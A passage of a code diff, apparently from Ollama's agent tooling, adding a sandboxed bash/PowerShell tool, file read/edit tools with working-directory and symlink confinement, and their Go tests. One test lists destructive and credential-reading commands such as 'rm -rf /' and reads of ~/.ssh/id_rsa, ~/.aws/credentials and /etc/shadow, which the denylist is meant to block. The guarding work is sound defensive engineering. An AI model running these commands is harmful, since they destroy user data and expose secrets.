+	if _, err := out.Write([]byte("abcédef")); err != nil {
+		t.Fatal(err)
+	}
+	content := out.String("stdout")
+	if !utf8.ValidString(content) {
+		t.Fatalf("content is not valid UTF-8: %q", content)
+	}
+	if strings.ContainsRune(content, utf8.RuneError) {
+		t.Fatalf("content contains replacement rune: %q", content)
+	}
+	if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content)
+	}
+}
+
+func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) {
+	var out boundedOutput
+	out.Limit = len([]byte("abcé"))
+
+	if _, err := out.Write([]byte("abcédef")); err != nil {
+		t.Fatal(err)
+	}
+	if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want complete UTF-8 prefix", content)
+	}
+}
+
+func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) {
+	var out boundedOutput
+	out.Limit = 4
+
+	if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := out.Write([]byte{0xa9}); err != nil {
+		t.Fatal(err)
+	}
+	if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content)
+	}
+}
+
+func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) {
+	input := []byte{'a', 0xc0, 0x80, 'b'}
+	if got := utf8SafePrefixLen(input); got != 1 {
+		t.Fatalf("safe prefix length = %d, want 1", got)
+	}
+}
+
+func TestBoundedOutputDropsMalformedUTF8(t *testing.T) {
+	var out boundedOutput
+	out.Limit = 4
+
+	if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil {
+		t.Fatal(err)
+	}
+	content := out.String("stdout")
+	if !utf8.ValidString(content) {
+		t.Fatalf("content is not valid UTF-8: %q", content)
+	}
+	if strings.ContainsRune(content, utf8.RuneError) {
+		t.Fatalf("content contains replacement rune: %q", content)
+	}
+	if !strings.HasPrefix(content, "a\n\n[stdout truncated:") {
+		t.Fatalf("content = %q, want valid prefix and truncation marker", content)
+	}
+}
+
+func TestBashReportsCanceledCommand(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "Error: command was canceled") {
+		t.Fatalf("content = %q, want canceled message", result.Content)
+	}
+	if strings.Contains(result.Content, "Exit code: -1") {
+		t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
+	}
+}
+
+func TestRejectUnsafeShellCommand(t *testing.T) {
+	tests := []struct {
+		name    string
+		command string
+		wantErr bool
+	}{
+		{name: "rm root", command: "rm -rf /", wantErr: true},
+		{name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true},
+		{name: "rm home", command: "rm -fr $HOME", wantErr: true},
+		{name: "rm root wildcard", command: "rm -rf /*", wantErr: true},
+		{name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true},
+		{name: "rm cwd", command: "rm -rf .", wantErr: true},
+		{name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true},
+		{name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true},
+		{name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true},
+		{name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true},
+		{name: "shadow", command: "head /etc/shadow", wantErr: true},
+		{name: "netrc", command: "cat ~/.netrc", wantErr: true},
+		{name: "docker config", command: "cat ~/.docker/config.json", wantErr: true},
+		{name: "gnupg dir", command: "cat ~/.gnupg/private-keys-v1.d/key", wantErr: true},
+		{name: "gh hosts", command: "cat ~/.config/gh/hosts.yml", wantErr: true},
+		{name: "ssh config", command: "cat ~/.ssh/config", wantErr: true},
+		{name: "printenv dump", command: "printenv", wantErr: false},
+		{name: "delete build dir", command: "rm -rf build", wantErr: false},
+		{name: "read project file", command: "cat README.md", wantErr: false},
+		{name: "mention key text", command: "rg id_rsa docs", wantErr: false},
+		{name: "env example", command: "cat .env.example", wantErr: false},
+		{name: "rm build then unrelated tilde path", command: "rm -rf build && echo ~/.ssh/config", wantErr: false},
+		{name: "rm build then unrelated slash path", command: "rm -rf build; cat /etc/passwd", wantErr: false},
+		{name: "rm build then unrelated star glob", command: "rm -rf build && ls *.go", wantErr: false},
+		{name: "rm multiple targets one unsafe", command: "rm -rf build /etc", wantErr: true},
+		{name: "rm unsafe then safe piped", command: "rm -rf / | tee log", wantErr: true},
+		{name: "rm unsafe via command substitution", command: "rm -rf $(echo /)", wantErr: true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := rejectUnsafeShellCommand(tt.command)
+			if tt.wantErr && err == nil {
+				t.Fatal("expected unsafe command to be rejected")
+			}
+			if !tt.wantErr && err != nil {
+				t.Fatalf("command rejected: %v", err)
+			}
+		})
+	}
+}
+
+func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) {
+	_, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": "rm -rf /",
+	})
+	if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") {
+		t.Fatalf("err = %v, want unsafe command rejection", err)
+	}
+}
+
+func shellTestCommand(unix, windows string) string {
+	if runtime.GOOS == "windows" {
+		return windows
+	}
+	return unix
+}
+
+func shellTestCapturedXCount() int {
+	if runtime.GOOS == "windows" {
+		return maxBashOutputBytes
+	}
+	return maxBashOutputBytes / 2
+}
+
+func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
+	dir := t.TempDir()
+	cwdFile := filepath.Join(dir, "cwd")
+	notDir := filepath.Join(dir, "file.txt")
+	if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != "" {
+		t.Fatalf("regular file cwd = %q, want empty", got)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != "" {
+		t.Fatalf("missing cwd = %q, want empty", got)
+	}
+
+	if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if got := readFinalWorkingDir(cwdFile); got != dir {
+		t.Fatalf("directory cwd = %q, want %q", got, dir)
+	}
+}
+
+func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("windows path normalization")
+	}
+	got := normalizeBashWorkingDir("/c/Users/jdoe/project")
+	want := filepath.Clean(`C:\Users\jdoe\project`)
+	if got != want {
+		t.Fatalf("working dir = %q, want %q", got, want)
+	}
+}

agent/tools/bash_unix.go

@@ -0,0 +1,49 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"syscall"
+)
+
+func shellToolName() string {
+	return "bash"
+}
+
+func shellToolDescription() string {
+	return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
+}
+
+func shellCommandDescription() string {
+	return "The bash command to execute."
+}
+
+func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
+	script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
+	cmd := exec.CommandContext(ctx, "bash", "-c", script)
+	configureBashCommand(cmd)
+	return cmd
+}
+
+func shellQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
+}
+
+func configureBashCommand(cmd *exec.Cmd) {
+	cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+}
+
+func runBashCommand(cmd *exec.Cmd) error {
+	return cmd.Run()
+}
+
+func killBashCommand(cmd *exec.Cmd) error {
+	if cmd == nil || cmd.Process == nil {
+		return nil
+	}
+	_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
+	return nil
+}

agent/tools/bash_unix_test.go

@@ -0,0 +1,40 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
+	cmd := exec.Command("bash", "-c", "true")
+	configureBashCommand(cmd)
+	if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
+		t.Fatalf("configureBashCommand should start bash in a new process group")
+	}
+}
+
+func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) {
+	start := time.Now()
+	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"command": "sleep 5 & echo done",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second {
+		t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay)
+	}
+	if !strings.Contains(result.Content, "done") {
+		t.Fatalf("content = %q, want command output", result.Content)
+	}
+	if !strings.Contains(result.Content, "output pipes did not close") {
+		t.Fatalf("content = %q, want wait delay message", result.Content)
+	}
+}

agent/tools/bash_windows.go

@@ -0,0 +1,134 @@
+//go:build windows
+
+package tools
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"sync"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var bashJobHandles sync.Map
+
+func shellToolName() string {
+	return "powershell"
+}
+
+func shellToolDescription() string {
+	return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
+}
+
+func shellCommandDescription() string {
+	return "The PowerShell command to execute."
+}
+
+func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
+	return exec.CommandContext(
+		ctx,
+		"powershell.exe",
+		"-NoLogo",
+		"-NoProfile",
+		"-NonInteractive",
+		"-ExecutionPolicy",
+		"Bypass",
+		"-Command",
+		powerShellCommandScript(command, cwdPath),
+	)
+}
+
+func powerShellCommandScript(command, cwdPath string) string {
+	cwdPath = powerShellSingleQuote(cwdPath)
+	return strings.Join([]string{
+		"$__ollama_status = 0",
+		". {",
+		"try {",
+		command,
+		"  $__ollama_success = $?",
+		"  $__ollama_last_exit = $global:LASTEXITCODE",
+		"  if ($__ollama_success) {",
+		"    $__ollama_status = 0",
+		"  } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
+		"    $__ollama_status = $__ollama_last_exit",
+		"  } else {",
+		"    $__ollama_status = 1",
+		"  }",
+		"} catch {",
+		"  Write-Error $_",
+		"  $__ollama_status = 1",
+		"} finally {",
+		"  try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
+		"}",
+		"} | Out-String -Stream -Width 4096",
+		"exit $__ollama_status",
+	}, "\n")
+}
+
+func powerShellSingleQuote(value string) string {
+	return "'" + strings.ReplaceAll(value, "'", "''") + "'"
+}
+
+func runBashCommand(cmd *exec.Cmd) error {
+	if err := cmd.Start(); err != nil {
+		return err
+	}
+	if job, err := createBashJob(cmd.Process.Pid); err == nil {
+		bashJobHandles.Store(cmd.Process.Pid, job)
+		defer releaseBashJob(cmd.Process.Pid)
+	}
+	return cmd.Wait()
+}
+
+func killBashCommand(cmd *exec.Cmd) error {
+	if cmd == nil || cmd.Process == nil {
+		return nil
+	}
+	releaseBashJob(cmd.Process.Pid)
+	_ = cmd.Process.Kill()
+	return nil
+}
+
+func createBashJob(pid int) (windows.Handle, error) {
+	job, err := windows.CreateJobObject(nil, nil)
+	if err != nil {
+		return 0, err
+	}
+
+	info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
+	info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
+	if _, err := windows.SetInformationJobObject(
+		job,
+		windows.JobObjectExtendedLimitInformation,
+		uintptr(unsafe.Pointer(&info)),
+		uint32(unsafe.Sizeof(info)),
+	); err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+
+	process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
+	if err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+	defer windows.CloseHandle(process)
+
+	if err := windows.AssignProcessToJobObject(job, process); err != nil {
+		_ = windows.CloseHandle(job)
+		return 0, err
+	}
+	return job, nil
+}
+
+func releaseBashJob(pid int) {
+	value, ok := bashJobHandles.LoadAndDelete(pid)
+	if !ok {
+		return
+	}
+	if job, ok := value.(windows.Handle); ok {
+		_ = windows.CloseHandle(job)
+	}
+}

agent/tools/bash_windows_test.go

@@ -0,0 +1,15 @@
+//go:build windows
+
+package tools
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) {
+	script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`)
+	if !strings.Contains(script, "Out-String -Stream -Width 4096") {
+		t.Fatalf("script = %q, want explicit Out-String width", script)
+	}
+}

agent/tools/file.go

@@ -0,0 +1,556 @@
+package tools
+
+import (
+	"bufio"
+	"context"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	maxReadBytes = 200000
+)
+
+type Read struct{}
+
+func (r *Read) Name() string {
+	return "read"
+}
+
+func (r *Read) Description() string {
+	return "Read a text file from the current working directory."
+}
+
+func (r *Read) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("path", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Path to the file to read, relative to the working directory.",
+	})
+	props.Set("start", api.ToolProperty{
+		Type:        api.PropertyType{"integer"},
+		Description: "Optional 1-based line to start reading from.",
+	})
+	props.Set("end", api.ToolProperty{
+		Type:        api.PropertyType{"integer"},
+		Description: "Optional 1-based inclusive line to stop reading at.",
+	})
+	return api.ToolFunction{
+		Name:        r.Name(),
+		Description: r.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"path"},
+		},
+	}
+}
+
+func (r *Read) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	path, ok := args["path"].(string)
+	if !ok || strings.TrimSpace(path) == "" {
+		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
+	}
+
+	file, info, err := openRegularFile(toolCtx.WorkingDir, path, true)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	defer file.Close()
+
+	selection, err := readSelectionFromArgs(args)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	if !selection.enabled && info.Size() > maxReadBytes {
+		return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
+	}
+
+	select {
+	case <-ctx.Done():
+		return agent.ToolResult{}, ctx.Err()
+	default:
+	}
+
+	var content string
+	if selection.enabled {
+		content, err = readLineSelection(file, selection)
+	} else {
+		var contentBytes []byte
+		contentBytes, err = readAllWithinLimit(file, maxReadBytes)
+		content = string(contentBytes)
+	}
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	return agent.ToolResult{Content: content}, nil
+}
+
+type Edit struct{}
+
+func (e *Edit) Name() string {
+	return "edit"
+}
+
+func (e *Edit) Description() string {
+	return "Edit a text file in the current working directory by replacing exact text."
+}
+
+func (e *Edit) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("path", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Path to the file to edit, relative to the working directory.",
+	})
+	props.Set("old_text", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Exact text to replace.",
+	})
+	props.Set("new_text", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "Replacement text.",
+	})
+	props.Set("replace_all", api.ToolProperty{
+		Type:        api.PropertyType{"boolean"},
+		Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
+	})
+	return api.ToolFunction{
+		Name:        e.Name(),
+		Description: e.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"path", "old_text", "new_text"},
+		},
+	}
+}
+
+func (e *Edit) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	path, ok := args["path"].(string)
+	if !ok || strings.TrimSpace(path) == "" {
+		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
+	}
+
+	oldText, ok := args["old_text"].(string)
+	if !ok || oldText == "" {
+		return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
+	}
+
+	newText, ok := args["new_text"].(string)
+	if !ok {
+		return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
+	}
+
+	replaceAll, _ := args["replace_all"].(bool)
+
+	if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	file, info, err := openRegularFile(toolCtx.WorkingDir, path, false)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	if info.Size() > maxReadBytes {
+		file.Close()
+		return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
+	}
+
+	select {
+	case <-ctx.Done():
+		file.Close()
+		return agent.ToolResult{}, ctx.Err()
+	default:
+	}
+
+	contentBytes, err := readAllWithinLimit(file, maxReadBytes)
+	if closeErr := file.Close(); err == nil && closeErr != nil {
+		err = closeErr
+	}
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	content := string(contentBytes)
+	matches := strings.Count(content, oldText)
+	if matches == 0 {
+		return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
+	}
+	if matches > 1 && !replaceAll {
+		return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
+	}
+
+	var updated string
+	if replaceAll {
+		updated = strings.ReplaceAll(content, oldText, newText)
+	} else {
+		updated = strings.Replace(content, oldText, newText, 1)
+	}
+	if len(updated) > maxReadBytes {
+		return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
+	}
+
+	if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
+}
+
+func cleanRelativePath(path string) (string, error) {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return "", fmt.Errorf("path parameter is required")
+	}
+	if filepath.IsAbs(path) {
+		return "", fmt.Errorf("absolute paths are not allowed")
+	}
+	cleaned := filepath.Clean(path)
+	if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
+		return "", fmt.Errorf("path escapes working directory")
+	}
+	return cleaned, nil
+}
+
+func openRegularFile(workingDir, path string, allowAbsolute bool) (*os.File, os.FileInfo, error) {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return nil, nil, fmt.Errorf("path parameter is required")
+	}
+	if allowAbsolute && filepath.IsAbs(path) {
+		cleaned := filepath.Clean(path)
+		info, err := os.Lstat(cleaned)
+		if err != nil {
+			return nil, nil, err
+		}
+		if info.Mode()&os.ModeSymlink != 0 {
+			return nil, nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
+		}
+		if err := rejectNonRegularFile(path, info); err != nil {
+			return nil, nil, err
+		}
+		file, err := os.Open(cleaned)
+		if err != nil {
+			return nil, nil, err
+		}
+		info, err = file.Stat()
+		if err != nil {
+			file.Close()
+			return nil, nil, err
+		}
+		if err := rejectNonRegularFile(path, info); err != nil {
+			file.Close()
+			return nil, nil, err
+		}
+		return file, info, nil
+	}
+
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return nil, nil, err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer root.Close()
+
+	if _, err := regularRootFileInfo(root, rel, path); err != nil {
+		return nil, nil, err
+	}
+	file, err := root.Open(rel)
+	if err != nil {
+		return nil, nil, rootPathError(err)
+	}
+	info, err := file.Stat()
+	if err != nil {
+		file.Close()
+		return nil, nil, err
+	}
+	if err := rejectNonRegularFile(path, info); err != nil {
+		file.Close()
+		return nil, nil, err
+	}
+	return file, info, nil
+}
+
+func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) {
+	info, err := root.Lstat(rel)
+	if err != nil {
+		return nil, rootPathError(err)
+	}
+	// Reject symlinks outright. os.Root.Open follows symlinks via openat
+	// without O_NOFOLLOW, so a symlink inside the working root that points
+	// outside it (e.g. ./notes -> ~/.ssh/id_rsa) would otherwise be read
+	// transparently, bypassing the working-directory confinement that the
+	// bash denylist enforces for direct credential reads. The caller must
+	// operate on the real target file instead.
+	if info.Mode()&os.ModeSymlink != 0 {
+		return nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
+	}
+	if err := rejectNonRegularFile(path, info); err != nil {
+		return nil, err
+	}
+	return info, nil
+}
+
+func rejectNonRegularFile(path string, info os.FileInfo) error {
+	if info.IsDir() {
+		return fmt.Errorf("%s is a directory", path)
+	}
+	if !info.Mode().IsRegular() {
+		return fmt.Errorf("%s is not a regular file", path)
+	}
+	return nil
+}
+
+func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return err
+	}
+	defer root.Close()
+	if err := rejectRootFinalSymlink(root, rel, path); err != nil {
+		return err
+	}
+
+	parent, name := filepath.Split(rel)
+	tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
+	for i := 0; ; i++ {
+		candidateName := tmpBase
+		if i > 0 {
+			candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
+		}
+		candidate := filepath.Join(parent, candidateName)
+		file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
+		if os.IsExist(err) {
+			continue
+		}
+		if err != nil {
+			return rootPathError(err)
+		}
+		if err := file.Chmod(perm); err != nil {
+			closeErr := file.Close()
+			_ = root.Remove(candidate)
+			if closeErr != nil {
+				return closeErr
+			}
+			return err
+		}
+		writeErr := writeAllAndSync(file, data)
+		closeErr := file.Close()
+		if writeErr != nil || closeErr != nil {
+			_ = root.Remove(candidate)
+			if writeErr != nil {
+				return writeErr
+			}
+			return closeErr
+		}
+		if err := root.Rename(candidate, rel); err != nil {
+			_ = root.Remove(candidate)
+			return rootPathError(err)
+		}
+		return nil
+	}
+}
+
+func rejectFinalSymlink(workingDir, path string) error {
+	rel, err := cleanRelativePath(path)
+	if err != nil {
+		return err
+	}
+	root, err := openWorkingRoot(workingDir)
+	if err != nil {
+		return err
+	}
+	defer root.Close()
+	return rejectRootFinalSymlink(root, rel, path)
+}
+
+func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
+	info, err := root.Lstat(rel)
+	if err != nil {
+		return rootPathError(err)
+	}
+	if info.Mode()&os.ModeSymlink != 0 {
+		return fmt.Errorf("%s is a symlink; edit the target file directly", path)
+	}
+	return nil
+}
+
+func rootPathError(err error) error {
+	if err != nil && strings.Contains(err.Error(), "path escapes") {
+		return fmt.Errorf("path escapes working directory")
+	}
+	return err
+}
+
+func openWorkingRoot(workingDir string) (*os.Root, error) {
+	base, err := workingDirAbs(workingDir)
+	if err != nil {
+		return nil, err
+	}
+	return os.OpenRoot(base)
+}
+
+func writeAllAndSync(file *os.File, data []byte) error {
+	if _, err := file.Write(data); err != nil {
+		return err
+	}
+	return file.Sync()
+}
+
+func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) {
+	if limit < 0 {
+		limit = 0
+	}
+	content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1))
+	if err != nil {
+		return nil, err
+	}
+	if len(content) > limit {
+		return nil, fmt.Errorf("content is too large (%d byte limit)", limit)
+	}
+	return content, nil
+}
+
+func workingDirAbs(workingDir string) (string, error) {
+	base := workingDir
+	if base == "" {
+		var err error
+		base, err = os.Getwd()
+		if err != nil {
+			return "", err
+		}
+	}
+	return canonicalPath(base)
+}
+
+func canonicalPath(path string) (string, error) {
+	abs, err := filepath.Abs(path)
+	if err != nil {
+		return "", err
+	}
+	resolved, err := filepath.EvalSymlinks(abs)
+	if err == nil {
+		return resolved, nil
+	}
+	return abs, nil
+}
+
+type readSelection struct {
+	enabled bool
+	start   int
+	end     int
+}
+
+func readSelectionFromArgs(args map[string]any) (readSelection, error) {
+	selection := readSelection{start: 1}
+
+	if start, ok, err := intReadArg(args, "start"); err != nil {
+		return readSelection{}, err
+	} else if ok {
+		selection.enabled = true
+		selection.start = start
+	}
+	if end, ok, err := intReadArg(args, "end"); err != nil {
+		return readSelection{}, err
+	} else if ok {
+		selection.enabled = true
+		selection.end = end
+	}
+
+	if !selection.enabled {
+		return selection, nil
+	}
+	if selection.start < 1 {
+		return readSelection{}, fmt.Errorf("start must be greater than 0")
+	}
+	if selection.end > 0 && selection.end < selection.start {
+		return readSelection{}, fmt.Errorf("end must be greater than or equal to start")
+	}
+	return selection, nil
+}
+
+func readLineSelection(file *os.File, selection readSelection) (string, error) {
+	reader := bufio.NewReader(file)
+	var b strings.Builder
+	for lineNo := 1; ; {
+		line, err := reader.ReadSlice('\n')
+		if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
+			if b.Len()+len(line) > maxReadBytes {
+				return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
+			}
+			b.Write(line)
+		}
+		if err != nil {
+			if err == bufio.ErrBufferFull {
+				continue
+			}
+			if err == io.EOF {
+				break
+			}
+			return "", err
+		}
+		if selection.end > 0 && lineNo >= selection.end {
+			break
+		}
+		lineNo++
+	}
+	return b.String(), nil
+}
+
+func intReadArg(args map[string]any, key string) (int, bool, error) {
+	value, ok := args[key]
+	if !ok {
+		return 0, false, nil
+	}
+	switch v := value.(type) {
+	case int:
+		return v, true, nil
+	case int64:
+		return int(v), true, nil
+	case float64:
+		if v != float64(int(v)) {
+			return 0, true, fmt.Errorf("%s must be a whole number", key)
+		}
+		return int(v), true, nil
+	case string:
+		v = strings.TrimSpace(v)
+		if v == "" {
+			return 0, false, nil
+		}
+		n, err := strconv.Atoi(v)
+		if err != nil {
+			return 0, true, fmt.Errorf("%s must be a whole number", key)
+		}
+		return n, true, nil
+	default:
+		return 0, true, fmt.Errorf("%s must be a whole number", key)
+	}
+}
+
+func plural(n int) string {
+	if n == 1 {
+		return ""
+	}
+	return "s"
+}

agent/tools/file_test.go

@@ -0,0 +1,338 @@
+package tools
+
+import (
+	"context"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestEditReplacesUniqueText(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "hello",
+		"new_text": "hi",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "Updated note.txt") {
+		t.Fatalf("result = %q", result.Content)
+	}
+
+	content, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "hi world\n" {
+		t.Fatalf("content = %q", content)
+	}
+}
+
+func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "same",
+		"new_text": "other",
+	})
+	if err == nil {
+		t.Fatal("expected ambiguous edit to fail")
+	}
+	if !strings.Contains(err.Error(), "matched 2 times") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestEditRejectsEscapingPath(t *testing.T) {
+	dir := t.TempDir()
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "../outside.txt",
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected escaping path to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestEditRejectsSymlinkEscape(t *testing.T) {
+	dir := t.TempDir()
+	outside := t.TempDir()
+	if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
